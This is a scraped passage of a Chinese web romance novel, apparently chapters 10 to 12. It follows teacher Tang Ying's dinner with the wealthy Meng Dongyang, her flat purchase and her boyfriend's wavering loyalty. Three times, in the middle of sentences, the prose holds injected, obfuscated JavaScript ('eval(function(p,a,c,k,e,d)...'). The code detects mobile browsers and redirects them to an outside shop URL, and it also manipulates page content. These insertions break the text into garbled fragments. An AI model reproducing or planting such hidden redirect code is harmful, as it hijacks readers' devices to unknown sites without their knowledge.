小城的冬天没有暖阳,两个年轻人紧紧依偎在一起,灵魂却各自走远。 下午唐盈没有课,回家昏睡了两个小时,醒来眼睛浮肿。 她用凉水冲洗眼睛,又用冰敷,冷、刺目,心里却觉得痛快。 吃完饭,她和谷瑞安是笑着分别的。 她知道再亲密的爱人都会面临被对方中伤的时刻,但今天,她是第一次经历这样的时刻。 谷瑞安的那句话却在她的心里留下了难以抹去的伤痕,她一时半会儿找不到修复的办法。 她看着镜子里自己这张十分年轻的面庞,安慰自己—— 你没有任何问题,你不需要反省自己。你不能像姐姐一样,过早地困在混沌的没有头绪的婚姻关系里。 谷瑞安固然很重要,这段感情也很重要,但远远没有你自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16857367|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己重要。 去学校的路上,唐盈给彭文君打去一个电话。彭文君没有接。 过了会儿,彭文君回了消息过来,说自己很好,让唐盈放心。 唐盈问彭芳怎么样,彭文君说今天两个孩子都是外婆接送的,一切都很好。 唐盈又问:妈什么时候回来? 彭文君:快了。 唐盈觉得这并不是个好消息。姐姐大概率要妥协了。 她打算周五晚上去一趟霓城。 在教室里给学生布置元旦作业的时候,唐盈才忽然想起来,晚上她要请孟冬杨吃饭。 她回到办公室里,问几个年轻教师,有没有好吃的餐厅推荐。她已经买好了烟酒打算相送,餐厅的档次就不纠结了,好吃就行。 记下几个餐厅名字后,她一一打电话过去问需不需要预订。最后定下一家烤肉店。 孟冬杨停车的时候遇到了唐盈,她手里提着很多东西,似乎都是带给他的。 唐盈听见喇叭声,回了头,男人降下车窗,客气地朝她颔首。 他总是那么精致淡然,永远在温柔地微笑,永远不慌不忙。他像是另一个世界的人,那个世界富有、平和、没有烦恼。 孟冬杨下了车,唐盈请他开一下后备箱。 四瓶酒、六条烟,通通放进了孟冬杨的车。 唐盈手里只剩下一个纸袋,里面是一个四寸的小蛋糕。 她轻柔地笑了下,“只有我们两个人,我就只买了个小蛋糕。” 孟冬杨看着她的梨涡,半开玩笑道:“当真给我过生日?” 唐盈很实在地说:“不过,今天也是你的生日。你要是不想过,就当甜品吃吧。” 她又说,不知道他喜欢喝什么酒,要是买的不对,请他别介意。 孟冬杨不记得他们俩互相说过多少次“你太客气了”这种话,眼下他没再客气,语气充满揶揄的味道,“房子都不买了,还弄这么大阵仗,是存心反过来让我欠你人情了。” 唐盈只是笑一下,没有接话。 落座后,唐盈把菜单推到孟冬杨的面前,请他来点。孟冬杨说他不挑,让唐盈看着办。 唐盈也不纠结,全挑贵的好的肉点,又问道:“你想喝酒吗?” 孟冬杨温声道:“如果你想喝,我可以作陪。” “你是寿星。”唐盈言下之意,他来定。 孟冬杨却说:“听你的。” 唐盈决定不喝,点了一扎鲜榨果汁,把菜单交给服务员。 两人脱掉外套,由服务员拿去存放。 唐盈里面穿着鹅黄色的开衫,脱衣后,理顺着头发,从包里取出一个鲨鱼夹,把长发利落地束上去。 整理好,她的目光落在孟冬杨纯黑的羊绒衫上,停了短暂一瞬,又很快移开。 她发现他只是看起来瘦,却并不单薄,猜测他应该有健身的习惯。 有钱人的贵气是靠钱堆出来的,他本身就生的好看,稍微保养,气质只会更出挑。 孟冬杨问道:“为什么不买房了?” 唐盈耸了耸肩膀,“之前以为买得起,后来发现买不起。没条件就不硬上了。希望不会让你为难。” 即便要让他为难,她也只能做到如此了。礼送了,饭请了,她尽力了。 孟冬杨看着女孩豁然的脸,意识到她面对自己好像不那么紧绷了。她整个人都放松了下来,大有一种要推翻过去的凛然之感。 他又问她:“原本是打算投资还是当婚房?” “都有考虑。” “那如果钱差的不多,我建议还是考虑先上车,这个时机很好。” 唐盈抬起头,与孟冬杨对视:“我也相信房价马上会涨,可是人与人的境遇不同。二三十万,对有些人来说只是一笔闲钱,可对我这种月收入不到四千的人来说,就是好大一笔巨款。” “大部分年轻人买第一套房,都是由父母提供支持。” “话是这样说,但是每家情况不同嘛。” 孟冬杨点点头:“我只是随口一说,你自己考量清楚就好。” “谢谢。” “你今天很不一样。”孟冬杨笑道。 “有吗?” “有。” 唐盈露出不解的目光,鼓起勇气说道:“其实我特别想问你一个问题,你很乐意帮我,是不是因为,你忘不了臻臻。” 孟冬杨垂眸淡笑,“你希望听到什么回答?”话落深邃的目光投射到唐盈的眼睛上。 唐盈被这道视线隐隐地刺了一下,微微低下头,愈发觉得自己看不透眼前这个男人。 她淡声说道:“我不该问这样的问题。” “为什么送我唐臻的摘抄本?”孟冬杨给唐盈倒满一杯橙汁。 “我以为你会需要。” “你的日记本是错放在里面了是吗?能把她的东西跟你认为很珍贵的东西存放在一起,说明你很珍视。那为什么又舍得拿给我?” 这不是相同的问题吗?唐盈听迷糊了,不懂他到底想表达什么。 孟冬杨剥开一颗餐桌上的开心果,手伸过去,把果仁放到唐盈面前的空盘里,柔声说道:“唐老师是个心地善良的女孩。” 她认为自己能体恤他的深情,才主动对他送上自认为有用的安慰。 “应该喝一杯的。”孟冬杨又说。 10.第 10 章 唐盈不确定这个男人是在标榜她,还是在揶揄她。又或者是,暗示她一切因她而起。 这样的人,她从来也没有接触过。跟他相处,她的紧张和放松无法由她自己掌控,谈话的节奏也被他牵着走。 而她想知道的东西,她好像一句也问不出来。 唐盈有时候很执拗,她认为,她和孟冬杨唯一的连结就是唐臻,如果不聊唐臻,那他们就无话可聊。 除非他直言,他不想提过去。这样的话,她会对他有新的判断。 她问:“当初你和臻臻是怎么在一起的?” 孟冬杨反问:“她从来没跟你提过我吗?” 提过,但都是些细枝末节,关于感情深浅,唐臻不曾多言。 唐盈能感觉到,唐臻非常爱他。也始终认为,孟冬杨以同样的程度爱着唐臻。这件事她觉得在唐臻的葬礼上得到了验证。 “臻臻告诉我,她遇到了一个很想结婚的对象。可能那会儿我还小,她觉得说多了我不会懂,我们就没有太深入地交流。” “那时候你在上大学吧。” “嗯。” “在霓城师大?” “对。” “二十出头,确实年轻。不过那会儿你应该也恋爱了吧。” 唐盈点点头。 提到唐盈的男朋友,孟冬杨顺着话题问道:“既然考虑当婚房,你男朋友对你买房的事是什么态度?” 唐正光在电话里对孟冬杨吐槽,说唐盈的男朋友是个没担当的家伙。未来的老丈人已经不认可,孟冬杨很想知道,唐盈对自己的婚事还抱有多少信心和期待。 唐盈短暂地思考了一下,孟冬杨是出于什么心理问的这个问题,是把她当亲戚? 她捏住半个果壳,让硬壳陷入指腹,淡声道:“我男朋友也是普通人。” 虽然她模糊了重点,但孟冬杨觉得这是个好回答。她很会说话,心里也向着自己的男朋友。 服务生过来置放烤架,问道:“需要我们帮忙烤吗?” “我自己来吧,谢谢。”唐盈接过烤肉的工具。 火候还未到,她盯着铁架,手悬在那里。 孟冬杨朝她伸手,“我来吧。” “我请你吃饭,哪有让你动手的道理。”唐盈拿工具的手往后退了一些距离。 她有雪白修长的手指,指甲修剪得很整齐,她紧紧捏合着铁夹,认真的样子像是手握着一把武器。 “你还没回答我的问题呢。”她又说。 孟冬杨从她手上收回视线,同她开玩笑道:“谈唐臻,我岂不是又要叫你小姑姑了。” 唐盈摇头,“我不是这个意思。” 孟冬杨又剥了一颗开心果放到她的餐盘里,淡然提问:“不谈唐臻,我们就不能交朋友了吗?” 他话落,唐盈与他对视,男人淡笑着,笑容从容、温和,眼睛是澄明的。 “我心里拿你当半个亲戚。”唐盈垂下眼眸。 孟冬杨见她停了手上的动作,伸手过去,接过她手里的铁夹,把她没放完的那份牛肉耐心地铺在烤架上。 他没有接她的这句话,若有似无地笑了一下,问道:“你男朋友知道你晚上跟我吃饭吗?” 唐盈一怔,轻蹙起眉心,语气略微有些急,“我爸知道。” 说完用审视的目光看着这个男人,非常认真地说:“孟冬杨,你别逗我,我们之间不合适开这种玩笑。” 孟冬杨仔细聆听着她这句话,细致地翻着逐渐被炙烤成熟的肉。确认几块肉可以食用了,他重新拿了个干净的餐盘,把肉放进去,再把餐盘推到她的面前。 唐盈没有心情动筷子。 “我逗你做什么。”孟冬杨继续夹熟透的肉给她。 女孩的表情依然紧绷着,“你自己吃。” 孟冬杨尝了一口肉,味道还不错,放下筷子后,端起装果汁的玻璃杯,碰了下唐盈的杯子,“唐老师总是比我多想一层。” “我没有。”唐盈立刻否认。 孟冬杨温声说道:“我初来乍到,对你爸爸,对你,都是交朋友的心态。如果你觉得我这个人热情过头,质疑我的用心,那我或许要检讨一下自己,是不是真的有失分寸。” 孟冬杨说完又去烤肉。他摘了手表,卷起衣袖,露出紧实的小臂,骨节分明的手极其有秩序在唐盈的眼前挥动。 唐盈因他的这番话红了耳朵,看着他的手,又抬眸,盯住他的脸,心里不停地推翻之前对他的认知。 他故意戳中她心里的那点别扭。这个人不简单,还很难相处。 唐盈被挥之不去的懊恼缠绕,端起饮料杯,喝掉一大口,对他说:“我这个人,嘴笨、不会来事,交朋友的话,你还是找我爸爸吧。” 孟冬杨觉得她还是年轻,看似成熟,却喜欢较劲。她想得很多,做事也很漂亮,但心思跟行为无法做到统一。 他耐心说道:“我提摘抄本,又冒昧地评价你,是想表达,我希望能跟唐老师做朋友。第一次碰面,你帮我抢车位,后来送我唐臻的东西、买甜品给我吃,让我以为,你也是想交我这个朋友的。现在看来,是我多心了。” “我就是客气。”唐盈知道自己说不过他,卸了一股心气,随便回答。说完埋头吃肉。 孟冬杨见状,又给她夹肉。 唐盈把肉沾满调味酱,裹进生菜里,大口地吃着。 她很专注,孟冬杨很像在照顾她的服务生。 “你也吃啊。”她看了他一眼。 “你吃好就行。” 唐盈觉得这个人真怪,饮料代酒,敬了他一杯,“差点忘了,祝你生日快乐。” “也祝你新年快乐。” “谢谢。” “你有什么新年愿望?” 唐盈说:“发财,发大财。” “好,那祝唐老师新年发大财。” 忽然,唐盈的某根脑神经闪动,她脱口而出:“你不会是想腐蚀我爸吧?” 孟冬杨眉眼一顿,扯开唇角,“要想腐蚀你爸爸,需要先腐蚀你吗?” 唐盈露出窘色,“那倒是不用。” “你往我后备箱塞烟塞酒的行为反而更像是你在贿赂我。” 唐盈拧了下眉毛,直接问道:“我送礼送的不对吗?” “送烟酒是你爸爸给的建议吗?” 唐盈没否认。 “下次别这样送礼了,这是上了年纪的人的做派。” “那你喜欢别人送你什么?” 孟冬杨看向桌角的小蛋糕。 唐盈抿唇,心想,蛋糕是心意,作为礼物还是太廉价了。 孟冬杨说:“我很喜欢吃甜品,你今天买的什么味道的?” “法芙娜。” 孟冬杨“唔”了声,“上次你给我买可可千层和生巧的时候,我就想告诉你,我非常喜欢巧克力。” 店员介绍,这款法芙娜巧克力的原材料是从上海空运过来的。一个小四寸,108,唐盈平时是根本不舍得买的。 唐盈也很喜欢巧克力,谷瑞安总是会在圣诞送给她一整盒,以前是费列罗,后来是瑞士莲软心巧克力。更昂贵的品牌,她不舍得让谷瑞安买,谷瑞安也很听她的话。 今年两个人为彩礼的钱紧张,圣诞那天,谷瑞安没有任何表示。 “你现在想吃吗?”唐盈问孟冬杨。 “都可以。” 唐盈把蛋糕打开,上面的巧克力球上洒满了可食用金箔,看起来很上档次。 她问:“你要许愿吗?” 孟冬杨摇头。 唐盈又说:“你家里人应该会再给你过一个正式的生日吧。” 孟冬杨淡笑一下,把蛋糕切开,分了很大一块放到唐盈的面前。 “我吃不了这么多,我要一小块就好。” “怕胖吗?” “也不是。只是觉得再喜欢的东西最好也不要贪食,否则很容易会腻。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16864835|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 孟冬杨挑一下眉毛,“有道理。” 吃完饭,孟冬杨送唐盈回家。路上听见她跟她妈妈打电话,她说她周五晚上要去霓城。 唐盈挂了电话后,孟冬杨问道:“你姐姐的事情还顺利吗?” 唐盈轻轻地叹了口气。 “律师有什么做得不到位的吗?” “没有没有,你的朋友非常专业。只是,一个有两个小孩的妈妈还没有下定离婚的决心。” 孟冬杨说,妈妈这个身份在婚姻里很容易变成枷锁。 “是。” “你姐姐是没有工作吗?” “对。” “想争两个小孩的抚养权?” 唐盈点头。 这样的话,就只能从长计议。她姐姐得先从家里走出来。但这是他们的家事,孟冬杨不方便再提太多建议。 气氛冷下来。唐盈回过神,问他:“你今天是满三十一还是三十二?” “三十一。” “那你上回说你虚三十二。” 孟冬杨笑一下,“过了三十岁,多一岁少一岁好像没那么重要了。今天过了,就是真的虚三十二了。” “你看起来很年轻。” “三十二就很老吗?不过跟小唐老师比,确实老了点。” “怎么会。” 快到目的地时,唐盈像上次那样,让孟冬杨把车停在大路的路边。 她下了车,孟冬杨也从驾驶位出来。 孟冬杨绕到后备箱,取出一个礼袋,“新年快乐,唐盈。” 放烟和酒进他后备箱的时候,唐盈就看见了这个礼袋。上面的logo她认识,霓城尚且只有一家品牌入驻。 她没有抬手去接,真诚地说道:“这太贵重了。我不客气,你也别再对我客气,好吗?” “房子的事我到底是没有帮上忙,你反倒送了我一大堆礼。这就是一个小礼物,你收下,就当是图个吉利。” 图个吉利…… 唐盈看着孟冬杨同样真挚的目光,决定不再纠结。她伸出手,接过这个礼袋,“那就让我沾沾你的财气吧。太谢谢你了,也祝你新年快乐。” 孟冬杨牵唇,“再见,唐老师。” 回到家,唐盈打开礼盒,里面是一条红色的四叶草手链。 她知道这非常贵,比她送给他的烟酒加起来的价格还要贵一点。 她心里并不坦然地试戴了一下,真的很漂亮,很精致,也很衬她的肤色和气质。 她忽然想起谷瑞安的那句话——要是有钱,她也会愿意打扮自己。 是的,她会。 当她真实赤裸地面对自己的虚荣心时,内心涌现出浓烈的羞耻感。可又不知道为什么,她觉得自己是配的。 她只是现阶段不富有,这并不代表她会贫穷一被子。 她绝对配戴这样昂贵的东西。 唐盈一个人在客厅里坐了很久。 谷瑞安说要来陪她,却迟迟未到。十点钟,她打去电话,谷瑞安说单位同事请他帮忙,今天来不了了。 明天放假,她会去退那两万块钱的购房定金。等拿到钱,她想给谷瑞安买一件羽绒服。 天气预报显示,青阳马上会下雪。 婚暂时不结了,房子也不买了,但恋爱还要好好谈下去。 她舍得花钱维护和孟冬杨的关系,也要对自己的男朋友更好一点。 与此同时,谷瑞安和梅馨坐在车里。 梅馨打开车窗,对谷瑞安说:“快看,外面下雪了。” 谷瑞安的脚边放着一盒巧克力,和一个梅馨帮他挑的,要送给唐盈的戒指。请梅馨帮忙选戒指,是他的提议。 他抬起头看过去,没看见雪,只看见梅馨生动的笑脸。 他问:“唐盈会喜欢这个铂金戒指吗?上面连一颗钻石也没有。” 梅馨回答他的话:“现在买不起钻戒,以后总会买得起。唐盈不是爱慕虚荣的女孩,她会喜欢的。” 11.第 11 章 这晚唐盈辗转难眠。孟冬杨的话回荡在耳边,关于买房的那一句,他说,现在上车是个好时机。 青阳的老城区四处都在拆迁,不久后就会看到新楼林立,房价上涨是板上钉钉的事。她不停地想,托他的关系拿到这样大的折扣,错过了这次机会,自己真的不会后悔吗? 唐盈从床上爬起来,坐到书桌前,重新计算首付和贷款。又开始做假设,例如房价一年后上涨百分之二十,她当作是投资,能有多少回报。 无论她怎么计算,都觉得这是一个稳赚不赔的买卖。 像她这种拿死工资、一生或许都将按部就班的人,想乍富,必须要懂得抓住机遇。 夜里四点半,唐盈打给她的闺蜜苏洋洋。苏洋洋是青阳二院的护士,去年报名参加援非医疗队,很幸运地被选拔上,现在正在非洲法语区当一名助产士。 苏洋洋是独生女,家里刚拆迁完,手头宽裕。唐盈找她借钱,她一听是买房,直接问唐盈要多少。 “十万……会不会太多了。” “你等我消息。”苏洋洋爽快地说。 苏洋洋这个人向来仗义。唐盈猜想,即便她借不了十万给自己,五万八万也是没跑的。 唐盈把这笔钱算进去,再去想剩余的空缺该如何补齐。她想,唐正光承诺的那五万块钱,她还是得继续要。现实一点想,唐正光马上要有新家,往后想顾她这个女儿就得顾及他新妻子的想法。 等天亮,她也该告诉彭芳彩礼黄掉的事情了。 苏洋洋问唐盈:“谷瑞安是什么态度?” 唐盈说:“你又不是不了解他,他就那个性子。” “性子软,你得调.教啊。” 唐盈不知道该如何接话。“调.教”这样的词似乎并不适用于她跟谷瑞安。 “别怪我说话难听,这次彩礼的事你要是忍下了,往后他们家就会认准你是好欺负的人。谷瑞安如果不向着你,这个婚,你结了就是受罪。” 苏洋洋的这番话,更加让唐盈下定要买自己房子的决心。婆家不可靠,那她就跟谷瑞安过自己的小日子,谁也别想拿捏她。 她故作洒脱地对苏洋洋说:“这一拖,这婚就不知道什么时候能结成了。也挺好,不愁你赶不回来给我当伴娘了。” 苏洋洋会在夏天回国,她摇摇头道:“你好好想想我的话吧。” 唐盈补了一小觉,起床后给彭芳打去电话。 彭芳在彭文君的婆家待得食不知味,彭文君的公婆日日在她面前做小伏低,涂子昭虽然是个犟脾气,但看到丈母娘阵仗闹得大,又是请律师又是报警,鸡贼地收敛了脾气。 昨晚,当着彭芳的面,涂子昭拿给彭文君五万块钱现金,要她想什么就买什么,也给彭芳封了一个大红包,说体恤丈母娘这两天帮忙带娃。 大外孙女每晚都哭,说爸爸虽然犯了错,但是她不想让爸爸妈妈离婚,央求外婆不要那么狠心。 彭芳一头的火,气得嘴角起了泡。难道是她狠心吗?她看看那个只敢在半夜躲起来抽烟的没出息的大闺女,心一横,对她说道:“我是尽力了,我问心无愧。这回你要是妥协了,往后再受委屈,玻璃渣子吞进肚子里也别让我知道。” 接到唐盈的电话后,彭芳更加窝火了。听唐盈说,没有这个彩礼的钱,这个房子她也要买,她立刻跟唐盈嚷嚷道:“拿什么买?你是打算找人借还是从我这里薅?” 彭文君听说此事后,以买菜为由把彭芳叫出家门。母女俩走在路上商量,彭文君说,唐盈的想法是对的,这么低的价格拿到房子,已经等于是赚到。 她自己打电话给唐盈,对唐盈说:“我存在妈那儿的十五万,你拿去凑首付。” 这是姐姐的私房钱,唐盈觉得不妥。 彭文君劝道:“没什么不妥,你就当是我跟你一起投资了,也当是为我留个后路。我就一个要求,即便你以后跟小谷结了婚,这房子也不能加上他的名字,他要住,就要帮你还房贷,但是这房子永远是你一个人的。” 彭芳思前想后,也觉得这是最好的办法,让唐盈认下彭文君这话。 中午谷瑞安来家里吃饭,给唐盈带了一盒巧克力。原本戒指应该藏在里面,但在来之前,谷瑞安犹豫了。 彩礼的事让唐盈的父母不痛快,即便他现在求了婚,唐盈也答应了,他想先领证的想法恐怕也没那么容易落实。 买戒指也有觉得自己说错话,想要哄哄她的意思,现在看到她的笑脸,谷瑞安放下心来,他的女朋友是全天下最善解人意的女孩,一盒巧克力就足以哄她开心。 唐盈随手把巧克力放在茶几上,谷瑞安看见地上放着一个奢侈品纸袋,问她这是什么。 唐盈坦荡地说:“昨晚请唐臻的男朋友吃饭,他送给我的新年礼物。” “里面是什么东西?” “一条手链。” 谷瑞安隐隐蹙眉,无论两人算不算得上是亲戚关系,只见过几回,就送手链,会不会不太妥当? 不过他什么也没问,他知道唐盈是个有分寸感的姑娘,而有钱人的想法,他很难思虑周全。 他觉得太贵或是太过暧昧,但对那个有钱有势的男人来说,这也许就只是随手相送一个小玩意儿。 午后两个人躺在唐盈的房间,唐盈跟谷瑞安谈了几句她姐姐的事,谷瑞安没有发表任何意见。 唐盈撞了撞谷瑞安的胳膊,“你不觉得我姐就应该离婚吗?” “真离了孩子怎么办?你平时不也总说,你班里那些离异家庭的小孩,父母最喜欢推皮球了,最后孩子最苦。” 谷瑞安不想跟唐盈谈这些糟心的话题,手伸过去,把唐盈揽进怀里,不一会儿,又欺身压过去。 近来因为彩礼的事,两个人有一两个月没有好好亲热过了。衣衫退到一半时,谷瑞安要唐盈去拿安全套。 唐盈迷迷糊糊地伸手去床头柜里够,这时谷瑞安的手机震动一下。 谷瑞安把被子裹在唐盈的身上,点开手机查看,梅馨发来消息,问他婚求得怎么样,问唐盈看到戒指后惊不惊喜。 梅馨换了头像,是昨晚在路灯初雪下的照片。她自拍的时候,谷瑞安就站在她旁边。 唐盈摸了半天也没找到之前剩下的安全套,对谷瑞安说:“可能是用完了,你今天记得去买。” 谷瑞安在出神。 “想什么呢。”唐盈坐起身体摸了摸他的脸。 谷瑞安回过神来,看着唐盈水光莹润的眼睛和她白皙雪嫩的皮肤,却只能把她看进眼里,再也无法看进心里。 他告诉自己,不能这样,他爱唐盈,爱了很多年,他不能分心。他贴过去,吻住唐盈的嘴唇,试图继续唤醒激情。 可是动作越刻意,心就越偏离。 最后,他只是把唐盈抱紧,哄着她说:“没套就不做了。你昨晚不是没睡好吗,我陪你睡一会儿吧。” 谷瑞安一向在这种事情上很小心,很尊重唐盈的想法,唐盈没有觉察出任何异样。 她窝进谷瑞安的怀里,让他夸夸自己,“首付的事情就这样搞定了,我厉不厉害?” “厉害死了。” “不过还钱的压力也很大。” “慢慢来,彩礼总会给你的。” “我不是这个意思。”提到钱,唐盈变得小心翼翼,“买房不是只为我自己考虑,你能理解我吗?” “当然,你需要安全感,你想独立。你放心,我会和你一起还贷款。” 唐盈叹了口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16870570|191213||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气,“要是不谈钱就好了。” 未等谷瑞安回应,她又说:“我很爱你,所以才想跟你有个家。你也要一直爱我,好吗?” “嗯。”谷瑞安声音很轻。 店员夸梅馨的新头像好漂亮。梅馨说是在新开的商场门口拍的,那里的灯很亮。 梅馨翻出手机里的照片给几个小姑娘看,有一张,出现谷瑞安的半个背影。 店员问:“这是谁?” “我未来妹妹的男朋友。” “好复杂的关系。他个子好高啊,脸帅不帅?” “还行。” 梅馨忽然想起昨晚站在路灯下,谷瑞安看向她的眼神,隐约觉得有些不对劲。她发去消息,问他求婚的事,结果他立刻回过来两个字:没求。 看到这两个字,说不清楚是为什么,梅馨并没有产生任何遗憾的情绪。 下午唐盈又去给卤菜店老板的小孩补数学,补完课,老板非要塞给她一个红包。 彭芳之前做的香肠会放在这家店寄卖,唐盈觉得她们本就欠老板人情,死活不收这个钱。 老板硬塞红包到她的口袋里,“收下吧小唐老师,你讲课讲得好,我们家孩子听得进去。我是真的很感谢你。” 又说,她还有几个亲戚家的小孩也想找唐盈补课,问唐盈考不考虑做家教,寒假马上要到了,想必她是有时间的。 唐盈说:“这个我还要去问问学校那边允不允许。” “那我等你消息。” “好嘞。” 如果真的能给孩子补课,唐盈会在寒假多一份兼职的收入。 此时外面虽然在下雪,气温非常低,唐盈的心却暖了起来。她从来没有哪一个阶段比现在更渴望得到金钱,也更有向上的动力。 有了钱,她的婚事会变得顺利,有了独立的资本,所有的人都会高看她一眼。 进家门之前,孟冬杨打来电话,问唐盈周五还去不去霓城,要是去,他可以顺路带她。 唐盈说不去了。彭芳已经买好了车票,明天就会回来。 “好。”孟冬杨准备挂电话。 “哦对了,那个房子我还是打算要买。”唐盈轻声说道。 孟冬杨问:“怎么改主意了?” 唐盈笑了下,“我要相信你们专业人士的话,这样说不定才能变得富有。” 孟冬杨也笑起来,开玩笑道:“那要是买亏了怎么办?” “这个价格要是还能亏的话,那我运气也太差了吧。而且你不是也买了嘛,要亏大家一起亏。” 听见她调侃自己,孟冬杨觉察出她心情不错,又问道:“钱的问题解决了?” “应该是解决了。” “好,那祝你一切顺利。” “谢谢。” 两人道了再见,孟冬杨的车继续往城南开,今晚有饭局,他请唐正光作陪,提前给唐正光找好了不喝酒的理由。 到了地方,唐正光问他昨晚唐盈有没有好好招待他。 孟冬杨笑道:“唐盈是个踏实的姑娘。” 唐正光点点下巴,“她确实是踏实。她虽然没有唐臻那么大的本事,但是她做事情特别稳。考学、考编,从小到大从来没让我操过心。她也懂得疼人,对她姐姐好,对她妈妈好,对我也好。就她那个不争气的男朋友,这次这样对她,她也还是愿意死心塌地。别的不说,谁以后要是娶了她,她绝对不会背叛对方。傻姑娘一个。” 几次交往,孟冬杨已经习惯唐正光话密。这不是唐正光第一次在他面前评价自己的女儿了,但提唐臻,是第一次。 他无法确定唐正光究竟是不是想表达他所理解的那一层意思。忽然想,如果唐正光的算盘真打到他身上,唐盈会作何感想? 12.第 12 章 彭芳离开霓城之前,和律师林乔伊又见了一面。她想对林乔伊表示感谢,另外希望林乔伊能继续帮忙劝一劝冥顽不灵的彭文君。 她忧心忡忡地说道:“我女儿困在家里太久了,她不像你们这些职业女性,平时接触的人多,见的事也多,思维都很开阔。她的生活圈子很窄,也没什么机会交朋友。” 林乔伊接触过许多当事人的母亲,像彭芳这样心思细腻,又能为女儿离婚提供切实帮助的,实在是少数。 孟冬杨托她襄助时没有对这家人进行过多介绍,相处下来,不论是彭芳,还是看起来风风火火的唐正光,都在林乔伊心里留下了很好的印象。 至于彭文君,林乔伊觉得那是个复杂的女人,直觉告诉她,彭文君未必会忍气吞声太久,或许在未来的某一天,她会以某种出格的方式结束掉这段扭曲的婚姻。 林乔伊看在孟冬杨的面子上,答应下来,又耐心地安慰了彭芳一番。 临别,彭芳递过来一个厚厚的现金红包,说她知道林律师的时间很珍贵,想按规矩办事。 林乔伊推辞道:“冬杨跟我是二十多年的好朋友,他的朋友就是我的朋友。这次也没有帮到你们什么,您千万别客气。” 彭芳听唐正光说,他近来跟孟冬杨接触密切,言语之间,大有一种拿孟冬杨当自家小辈看待的随意之感。唐正光在彭芳心里是个分寸感极低的人,她认为即便孟冬杨算是唐家的亲戚,该讲的人情也还是要讲。 彭芳过于坚持,林乔伊只好作罢,事后拍下红包的照片发给孟冬杨,问怎么办。 孟冬杨说:收着吧。 林乔伊已经收到了孟冬杨送的新年礼物,一个包,虽然跟往年比不算有新意,但这个包价值不低,有支付律师费的意味在里面。 孟冬杨是不欠她人情的。 林乔伊评价道:这家人挺有意思。 孟冬杨:欢迎你来青阳玩。 彭芳到家的第一件事,就是让唐盈把谷瑞安叫来。 谷瑞安已经做好了心理准备,用医保卡在药店刷了一盒阿胶和一盒静心口服液,提着东西上门来听训。 彭芳按捺脾气问道:“你们家,到底想怎么样?” 谷瑞安盯着电视柜下面的一个玩偶,说:“我爸妈的意思是等拿到拆迁款后再谈婚事。” “你爸什么时候做手术?” “可能下个月。” “可能?” “还有一个指标不符合,但是他身体很虚弱,已经打算去住院了。” 九几年装修的房子,客厅里有一面蓝色的大镜子。唐盈坐在沙发角落的位置,正对着镜子,看见谷瑞安挺直的腰背,揪心感如同会噬人的蚂蚁在自己的脊背上爬。 她忍不住想起多年前的一幕,妈妈也是坐在这个位置,对姐姐当时的男朋友说,必须分手,否则她就不认姐姐这个女儿了,反正她还有一个乖巧听话的小女儿。 那时唐盈还没成年,只敢偷偷地跟谷瑞安一起上下学、一起玩。 她问谷瑞安:“你觉得我妈势利吗?” 十七岁的谷瑞安摇了摇头。 “是不知道还是不觉得?” 谷瑞安抿唇,“如果你姐姐嫁过去真的要受委屈的话,那你妈妈是对的。” 唐盈自认是个懂事的女孩,谷瑞安能说出这样的话,在她心里也算得上是明事理。 但事情只有发生在自己身上,才能真正地去检验这个人的内心究竟是否成熟。 在彩礼这件事之前,唐盈认为谷瑞安孝顺、成熟、有担当,磕绊产生后,她有了新的看法。她知道,谷瑞安对她也是同样的感受。 彭芳又问:“你爸买的是什么医保?” 谷瑞安说已经算过了,扣除医保报销,需要自费七万左右。 “你妈给你大哥带了几年孩子,倒贴了几年的生活费,这次你爸要做手术,你大哥大嫂一点表示也没有吗?” 谷瑞安抬起头说:“我大嫂给了三万。” 这是彭芳没料到的事,她嗤笑一声:“是给还是借?” “妈。”唐盈扯了下彭芳的衣袖,看见谷瑞安的眉间起了褶皱。 彭芳又说:“你大哥结婚的时候,你爸妈前前后后贴了没有三十万也有二十万,就算现在你爸生病了,家里条件不如从前了,对唐盈,你们也应该拿出个公平的态度。彩礼可以再商量,但是事,你们实在是做的不体面不漂亮。” 谷瑞安并不能把彭芳的话听进心里去。他何尝没有为唐盈说过话,他是争取过的,也在尝试用自己的方式弥补。可她们就非要在这个节骨眼上斤斤计较吗? 他回视唐盈的眼睛,明知道她同样焦心,却本能地排斥她眼神里对自己的怜惜。他希望唐盈能在这个时候站出来,站在他这一边,可她只是伤感地看着他,任由她的妈妈嘲讽他。 他忽然觉得,唐盈身上有无法解决的、致命的问题——在她的内心深处,她是偏向她妈的。 